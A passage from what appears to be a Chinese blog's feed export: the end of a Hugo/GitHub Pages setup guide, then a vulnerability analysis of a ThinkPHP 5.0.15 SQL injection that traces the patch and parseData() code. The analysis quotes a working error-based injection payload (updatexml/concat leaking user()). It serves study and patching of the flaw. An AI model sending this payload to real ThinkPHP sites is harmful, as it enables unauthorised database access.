class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">---</span><br><span class="line">title: "My First Post"</span><br><span class="line">date: 2021-07-01T13:46:58+08:00</span><br><span class="line"><span class="section">draft: flase</span></span><br><span class="line"><span class="section">---</span></span><br></pre></td></tr></table></figure><p>将草稿draft改为flase。</p><h3 id="配置博客主题:"><a href="#配置博客主题:" class="headerlink" title="配置博客主题:"></a>配置博客主题:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git init</span><br><span class="line">git submodule add https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome # 将此存储库作为Git - 子模块,这样将更容易获取这个主题的更新</span><br><span class="line">echo theme = \"kagome\" >> config.toml # 更改配置文件,将主题加入配置</span><br></pre></td></tr></table></figure><h3 id="本地预览:"><a href="#本地预览:" class="headerlink" title="本地预览:"></a>本地预览:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hugo server</span><br></pre></td></tr></table></figure><p><img src="1.1.png" alt="1.1"></p><h2 id="2-发布并托管到github"><a href="#2-发布并托管到github" class="headerlink" title="2.发布并托管到github"></a>2.发布并托管到github</h2><h3 id="创建一个github仓库:"><a href="#创建一个github仓库:" class="headerlink" title="创建一个github仓库:"></a>创建一个github仓库:</h3><p><img src="2.1.png" alt="2.1"></p><h3 id="发布代码到github:"><a href="#发布代码到github:" class="headerlink" title="发布代码到github:"></a>发布代码到github:</h3><p>修改配置:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">baseURL = "https://h11ba1.com"</span><br><span class="line">languageCode = "en-us"</span><br><span class="line">title = "h11ba1's blog"</span><br><span class="line">theme = "kagome"</span><br><span class="line">publishDir = "docs" # 修改静态代码文件夹为docs目录</span><br><span class="line">defaultContentLanguage = "zh-cn"</span><br><span class="line">uglyURLs=true</span><br></pre></td></tr></table></figure><p>更改github仓库配置:</p><p><img src="2.2.png" alt="2.2"></p><p>同步代码到GitHub:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">hugo #编译md文档为静态文件。编译后的文件可以在docs文件夹下面找到</span><br><span class="line"></span><br><span class="line">git add .</span><br><span class="line">git commit -m "first commit"</span><br><span class="line">git remote add origin https://github.com/h1iba1/blog.git</span><br><span class="line">git push -u origin master</span><br></pre></td></tr></table></figure><h2 id="3-配置自定义https域名"><a href="#3-配置自定义https域名" class="headerlink" title="3.配置自定义https域名"></a>3.配置自定义https域名</h2><p>配置自定义的https子域名主要参考这篇文章:<a href="https://zhaouncle.com/hugo_03/">https://zhaouncle.com/hugo_03/</a></p><p>简单记录一下过程:</p><h3 id="创建CNAME文件:"><a href="#创建CNAME文件:" class="headerlink" title="创建CNAME文件:"></a>创建CNAME文件:</h3><p>在仓库根目录建立一个cname文件写入自定义的域名</p><p><img src="3.1.png" alt="3.1"></p><h3 id="注册cloudflare添加站点:"><a href="#注册cloudflare添加站点:" class="headerlink" title="注册cloudflare添加站点:"></a>注册cloudflare添加站点:</h3><p><img src="3.2.png" alt="3.1"></p><h3 id="选择免费功能:"><a href="#选择免费功能:" class="headerlink" title="选择免费功能:"></a>选择免费功能:</h3><p><img src="3.3.png" alt="3.1"></p><h3 id="添加dns解析记录:"><a href="#添加dns解析记录:" class="headerlink" title="添加dns解析记录:"></a>添加dns解析记录:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">A h11ba1.com 185.199.108.153</span><br><span class="line">A h11ba1.com 185.199.109.153</span><br><span class="line">A h11ba1.com 185.199.110.153</span><br><span class="line">A h11ba1.com 185.199.111.153</span><br><span class="line">CNAME www h1iba1.github.io</span><br></pre></td></tr></table></figure><p><img src="3.4.png" alt="3.4"></p><p>更改ssl/tls设置:</p><p><img src="3.5.png" alt="3.5"></p><p>配置页面规则:<br><img src="3.6.png" alt="3.6"></p><h3 id="更改阿里云域名dns服务器:"><a href="#更改阿里云域名dns服务器:" class="headerlink" title="更改阿里云域名dns服务器:"></a>更改阿里云域名dns服务器:</h3><p><img src="3.7.png" alt="3.6"></p><h2 id="4-hugo的一些简单配置"><a href="#4-hugo的一些简单配置" class="headerlink" title="4.hugo的一些简单配置"></a>4.hugo的一些简单配置</h2><h3 id="config-toml文件:"><a href="#config-toml文件:" class="headerlink" title="config.toml文件:"></a>config.toml文件:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">baseURL = "https://h11ba1.com"</span><br><span class="line">languageCode = "en-us"</span><br><span class="line">title = "h11ba1's blog"</span><br><span class="line">theme = "kagome"</span><br><span class="line">publishDir = "docs"</span><br><span class="line">defaultContentLanguage = "zh-cn"</span><br><span class="line">uglyURLs=true</span><br><span class="line"></span><br><span class="line">[menu]</span><br><span class="line"><span class="meta">#</span><span class="bash"> 配置菜单栏</span></span><br><span class="line"> [[menu.main]]</span><br><span class="line"> identifier = "blog"</span><br><span class="line"> name = "Blogs"</span><br><span class="line"> url = "/posts"</span><br><span class="line"> [[menu.main]]</span><br><span class="line"> name = "Categories"</span><br><span class="line"> identifier = "categories"</span><br><span class="line"> url = "/categories/"</span><br><span class="line"> [[menu.main]]</span><br><span class="line"> identifier = "tags"</span><br><span class="line"> name = "Tags"</span><br><span class="line"> url = "/tags/"</span><br><span class="line"> [[menu.main]]</span><br><span class="line"> identifier = "about"</span><br><span class="line"> name = "About"</span><br><span class="line"> url = "about/"</span><br><span class="line"> </span><br><span class="line"><span class="meta">#</span><span class="bash"> 配置页脚</span></span><br><span class="line"> [[menu.social]]</span><br><span class="line"> # 唯一标识符</span><br><span class="line"> identifier = "github"</span><br><span class="line"> # 名称</span><br><span class="line"> name = "github"</span><br><span class="line"> # url地址</span><br><span class="line"> url = "https://github.com/h1iba1/"</span><br><span class="line"> # 权重 越小越靠前</span><br><span class="line"> weight = 1</span><br><span class="line"> description = "这是一个网址"</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> 配置个人介绍</span></span><br><span class="line">[author]</span><br><span class="line"> name = "h11ba1"</span><br><span class="line"> email = "[email protected]"</span><br><span class="line"> description = "h11ba1's blog"</span><br><span class="line"> avatar = "https://h11ba1-blog.oss-cn-beijing.aliyuncs.com/blog-头像/QQ20201212-0.jpg"</span><br></pre></td></tr></table></figure><h3 id="文章配置:"><a href="#文章配置:" class="headerlink" title="文章配置:"></a>文章配置:</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">---</span><br><span class="line">title: "文章标题"</span><br><span class="line">date: 2021-07-01T13:46:58+08:00</span><br><span class="line">draft: flase # flase表示不是草稿,可以公开显示</span><br><span class="line">categories: ["代码审计"] # 分类</span><br><span class="line">tags : ["thinkphp"] # 标签</span><br><span class="line">cover : "https://h11ba1-blog.oss-cn-beijing.aliyuncs.com/test/4B2E0B3833CDACAB61B1C849A3BC8633.jpg" # 文章图片</span><br><span class="line">toc : true # 添加目录支持</span><br><span class="line">---</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 杂记 </category>
</categories>
<tags>
<tag> hugo </tag>
<tag> hugo+gethub page </tag>
<tag> hugo https </tag>
</tags>
</entry>
<entry>
<title>Thinkphp 5.0.15 SQL注入漏洞挖掘分析</title>
<link href="/2021/05/05/Thinkphp%205.0.15%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%88%86%E6%9E%90/"/>
<url>/2021/05/05/Thinkphp%205.0.15%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<p>2018年3月26日tp进行了一次安全更新。</p><p><img src="1.1.png" alt="1.1"></p><p>本次更新大佬们立马找到了漏洞点并给出了paylaod:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">public/index.php/index/index/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1</span><br></pre></td></tr></table></figure><p>本篇文章主要分析漏洞存在点的定位,payload的构造。分析一下大佬们是怎么处理开源cms安全更新,并构造exp的。</p><p>涉及版本:<strong>5.0.13<=ThinkPHP<=5.0.15</strong> 、 <strong>5.1.0<=ThinkPHP<=5.1.5</strong> 。</p><h2 id="1-Tp5-0-16的安全更新:"><a href="#1-Tp5-0-16的安全更新:" class="headerlink" title="1.Tp5.0.16的安全更新:"></a>1.Tp5.0.16的安全更新:</h2><p><img src="1.2.png" alt="1.2"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="string">'inc'</span>:</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="variable">$item</span> . <span class="string">'+'</span> . floatval(<span class="variable">$val</span>[<span class="number">2</span>]);</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="string">'inc'</span>:</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$key</span> == <span class="variable">$val</span>[<span class="number">1</span>]) { </span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="variable">$item</span> . <span class="string">'+'</span> . floatval(<span class="variable">$val</span>[<span class="number">2</span>]);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>本次更新对library/think/db/Builder.php中获取到的参数增加了判断:判断输入值必须和数据库字段值相等才能进行下一步的代码拼接。</p><p>从这个点可以判断本次安全更新极大可能与sql注入有关。</p><h3 id="Inc-dec-exp函数解析:"><a href="#Inc-dec-exp函数解析:" class="headerlink" title="Inc,dec,exp函数解析:"></a>Inc,dec,exp函数解析:</h3><p>可以参考官方文档:</p><p><img src="1.3.png" alt="1.3"></p><p>这三个方法主要用在sql链式操作。</p><p>用法示例:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// score 字段加 1</span></span><br><span class="line">Db::table(<span class="string">'think_user'</span>)->where(<span class="string">'id'</span>, <span class="number">1</span>)->setInc(<span class="string">'score'</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// score 字段减 1</span></span><br><span class="line">Db::table(<span class="string">'think_user'</span>)->where(<span class="string">'id'</span>, <span class="number">1</span>)->setDec(<span class="string">'score'</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//选择id=1,3,8三个值的列</span></span><br><span class="line">where(<span class="string">'id'</span>,<span class="string">'exp'</span>,<span class="string">' IN (1,3,8) '</span>);</span><br><span class="line"><span class="comment">//exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//综合使用</span></span><br><span class="line">Db::table(<span class="string">'data'</span>)</span><br><span class="line"> ->where(<span class="string">'id'</span>,<span class="number">1</span>)</span><br><span class="line"> ->inc(<span class="string">'read'</span>)</span><br><span class="line"> ->dec(<span class="string">'score'</span>,<span class="number">3</span>)</span><br><span class="line"> ->exp(<span class="string">'name'</span>,<span class="string">'UPPER(name)'</span>)</span><br><span class="line"> ->update();</span><br><span class="line"><span class="comment">//该语句的意思是查询data表并将id=1的列字段值score+3,并将name值改为大写。</span></span><br></pre></td></tr></table></figure><h2 id="2-产生sql注入的原因"><a href="#2-产生sql注入的原因" class="headerlink" title="2.产生sql注入的原因"></a>2.产生sql注入的原因</h2><h3 id="用到parseData-函数的地方"><a href="#用到parseData-函数的地方" class="headerlink" title="用到parseData()函数的地方"></a>用到parseData()函数的地方</h3><p>根据官方的更新判断出本次更新和sql注入有关,涉及的函数为<code>parseData()</code>全局搜索用到该函数的地方:</p><p><img src="2.1.png" alt="2.1"></p><h3 id="builder类的insert-用到了parseData"><a href="#builder类的insert-用到了parseData" class="headerlink" title="builder类的insert()用到了parseData()"></a>builder类的insert()用到了parseData()</h3><p>其中builder类的insert方法用到了该函数,并将该函数解析的数据拼接到了<code>$sql</code>参数中,</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">insert</span>(<span class="params"><span class="keyword">array</span> <span class="variable">$data</span>, <span class="variable">$options</span> = [], <span class="variable">$replace</span> = <span class="literal">false</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// 分析并处理数据</span></span><br><span class="line"> <span class="variable">$data</span> = <span class="keyword">$this</span>->parseData(<span class="variable">$data</span>, <span class="variable">$options</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$data</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">// 返回数组的所有键值,返回值为数组</span></span><br><span class="line"> <span class="variable">$fields</span> = array_keys(<span class="variable">$data</span>);</span><br><span class="line"><span class="comment">// 返回数组的所有的值</span></span><br><span class="line"> <span class="variable">$values</span> = array_values(<span class="variable">$data</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/***********重点***********/</span></span><br><span class="line"><span class="comment">// 通过替换的方式拼接sql语句</span></span><br><span class="line"><span class="comment">// 将$this->insertSql中的['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%']依此替换为获取的值</span></span><br><span class="line"><span class="comment">// 该处并没有任何过滤函数</span></span><br><span class="line"> <span class="variable">$sql</span> = str_replace(</span><br><span class="line"> [<span class="string">'%INSERT%'</span>, <span class="string">'%TABLE%'</span>, <span class="string">'%FIELD%'</span>, <span class="string">'%DATA%'</span>, <span class="string">'%COMMENT%'</span>],</span><br><span class="line"> [</span><br><span class="line"> <span class="variable">$replace</span> ? <span class="string">'REPLACE'</span> : <span class="string">'INSERT'</span>,</span><br><span class="line"> <span class="keyword">$this</span>->parseTable(<span class="variable">$options</span>[<span class="string">'table'</span>], <span class="variable">$options</span>),</span><br><span class="line"><span class="comment">// 用','链接所有数组元素。所以这里将data数组中的键值变为了','链接的字符串</span></span><br><span class="line"> implode(<span class="string">' , '</span>, <span class="variable">$fields</span>),</span><br><span class="line"> implode(<span class="string">' , '</span>, <span class="variable">$values</span>),</span><br><span class="line"> <span class="keyword">$this</span>->parseComment(<span class="variable">$options</span>[<span class="string">'comment'</span>]),</span><br><span class="line"> ], <span class="keyword">$this</span>->insertSql);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$sql</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>所以现在大概可以确定insert方法存在sql注入,会将输入的参数直接拼接返回sql语句。</p><h3 id="tp框架内置insert函数分析:"><a href="#tp框架内置insert函数分析:" class="headerlink" title="tp框架内置insert函数分析:"></a>tp框架内置insert函数分析:</h3><p>tp内使用insert()添加数据时,使用的insert()函数调用了builder类的insert()函数。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">insert</span>(<span class="params"><span class="keyword">array</span> <span class="variable">$data</span> = [], <span class="variable">$replace</span> = <span class="literal">false</span>, <span class="variable">$getLastInsID</span> = <span class="literal">false</span>, <span class="variable">$sequence</span> = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// 分析查询表达式</span></span><br><span class="line"> <span class="variable">$options</span> = <span class="keyword">$this</span>->parseExpress();</span><br><span class="line"> <span class="variable">$data</span> = array_merge(<span class="variable">$options</span>[<span class="string">'data'</span>], <span class="variable">$data</span>);</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="comment">/****************重点**************/</span></span><br><span class="line"> <span class="comment">//将获取到的data数组,用builder类的insert方法处理生成sql语句</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 生成SQL语句</span></span><br><span class="line"> <span class="variable">$sql</span> = <span class="keyword">$this</span>->builder->insert(<span class="variable">$data</span>, <span class="variable">$options</span>, <span class="variable">$replace</span>);</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 获取参数绑定</span></span><br><span class="line"> <span class="variable">$bind</span> = <span class="keyword">$this</span>->getBind();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$options</span>[<span class="string">'fetch_sql'</span>]) {</span><br><span class="line"> <span class="comment">// 获取实际执行的SQL语句</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->connection->getRealSql(<span class="variable">$sql</span>, <span class="variable">$bind</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 执行操作</span></span><br><span class="line"> <span class="variable">$result</span> = <span class="number">0</span> === <span class="variable">$sql</span> ? <span class="number">0</span> : <span class="keyword">$this</span>->execute(<span class="variable">$sql</span>, <span class="variable">$bind</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$result</span>) {</span><br><span class="line"> <span class="variable">$sequence</span> = <span class="variable">$sequence</span> ?: (<span class="keyword">isset</span>(<span class="variable">$options</span>[<span class="string">'sequence'</span>]) ? <span class="variable">$options</span>[<span class="string">'sequence'</span>] : <span class="literal">null</span>);</span><br><span class="line"> <span class="variable">$lastInsId</span> = <span class="keyword">$this</span>->getLastInsID(<span class="variable">$sequence</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$lastInsId</span>) {</span><br><span class="line"> <span class="variable">$pk</span> = <span class="keyword">$this</span>->getPk(<span class="variable">$options</span>);</span><br><span class="line"> <span class="keyword">if</span> (is_string(<span class="variable">$pk</span>)) {</span><br><span class="line"> <span class="variable">$data</span>[<span class="variable">$pk</span>] = <span class="variable">$lastInsId</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$options</span>[<span class="string">'data'</span>] = <span class="variable">$data</span>;</span><br><span class="line"> <span class="keyword">$this</span>->trigger(<span class="string">'after_insert'</span>, <span class="variable">$options</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$getLastInsID</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$lastInsId</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>tp的insert方法会将得到数组数据放入builder类的insert方法生成sql语句。</p><h3 id="builder类的insert-方法则调用了parseDate-函数:"><a href="#builder类的insert-方法则调用了parseDate-函数:" class="headerlink" title="builder类的insert()方法则调用了parseDate()函数:"></a>builder类的insert()方法则调用了parseDate()函数:</h3><p><img src="2.2.png" alt="2.2"></p><p>所以确定输入点为tp框架的insert方法。</p><p>后面测试update()方法也能触发该漏洞,username[0]=inc和dec都可以。</p><p>所以流程为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">tp框架insert()-->builder类insert()-->builder类parseDate()</span><br><span class="line"></span><br><span class="line">parseDate函数处理数组[0]=dec或inc时:会将数组[1]和数组[2]拼接</span><br><span class="line">拼接返回的sql语句最终在tp框架insert方法中执行</span><br></pre></td></tr></table></figure><h2 id="3-构造paylaod"><a href="#3-构造paylaod" class="headerlink" title="3.构造paylaod:"></a>3.构造paylaod:</h2><h3 id="parseDate()方法"><a href="#parseDate()方法" class="headerlink" title="parseDate()方法"></a>parseDate()方法</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">parseData</span>(<span class="params"><span class="variable">$data</span>, <span class="variable">$options</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"><span class="comment">// data数据为空则赋值为空数组</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$data</span>)) {</span><br><span class="line"> <span class="keyword">return</span> [];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取绑定信息</span></span><br><span class="line"> <span class="variable">$bind</span> = <span class="keyword">$this</span>->query->getFieldsBind(<span class="variable">$options</span>[<span class="string">'table'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="string">'*'</span> == <span class="variable">$options</span>[<span class="string">'field'</span>]) {</span><br><span class="line"> <span class="variable">$fields</span> = array_keys(<span class="variable">$bind</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$fields</span> = <span class="variable">$options</span>[<span class="string">'field'</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$result</span> = [];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 循环处理data数组的值,将data数组的值存入val数组</span></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$data</span> <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$val</span>) {</span><br><span class="line"> <span class="variable">$item</span> = <span class="keyword">$this</span>->parseKey(<span class="variable">$key</span>, <span class="variable">$options</span>);</span><br><span class="line"><span class="comment">// 如果是一个对象且存在__toString()函数,则赋值为toString的值</span></span><br><span class="line"> <span class="keyword">if</span> (is_object(<span class="variable">$val</span>) && method_exists(<span class="variable">$val</span>, <span class="string">'__toString'</span>)) {</span><br><span class="line"> <span class="comment">// 对象数据写入</span></span><br><span class="line"> <span class="variable">$val</span> = <span class="variable">$val</span>->__toString();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">false</span> === strpos(<span class="variable">$key</span>, <span class="string">'.'</span>) && !in_array(<span class="variable">$key</span>, <span class="variable">$fields</span>, <span class="literal">true</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$options</span>[<span class="string">'strict'</span>]) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">'fields not exists:['</span> . <span class="variable">$key</span> . <span class="string">']'</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">elseif</span> (is_null(<span class="variable">$val</span>)) {</span><br><span class="line"> </span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="string">'NULL'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/***************重点***************/</span></span><br><span class="line"> <span class="comment">//输入的数组值不为空,则检查数组[0]是否为exp,inc,dec ,如果是inc与dec则进行拼接</span></span><br><span class="line"> <span class="comment">//拼接方式为:值1.+.值二</span></span><br><span class="line"> <span class="comment">/*所以此时构造的payloaf为数组</span></span><br><span class="line"><span class="comment"> arr[0]=inc&arr[1]=exp&arr[2]=exp</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> } <span class="keyword">elseif</span> (is_array(<span class="variable">$val</span>) && !<span class="keyword">empty</span>(<span class="variable">$val</span>)) {</span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$val</span>[<span class="number">0</span>]) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'exp'</span>:</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="variable">$val</span>[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'inc'</span>:</span><br><span class="line"> <span class="comment">/*floatval为获取变量的浮点值*/</span></span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="keyword">$this</span>->parseKey(<span class="variable">$val</span>[<span class="number">1</span>]) . <span class="string">'+'</span> . floatval(<span class="variable">$val</span>[<span class="number">2</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'dec'</span>:</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="keyword">$this</span>->parseKey(<span class="variable">$val</span>[<span class="number">1</span>]) . <span class="string">'-'</span> . floatval(<span class="variable">$val</span>[<span class="number">2</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">elseif</span> (is_scalar(<span 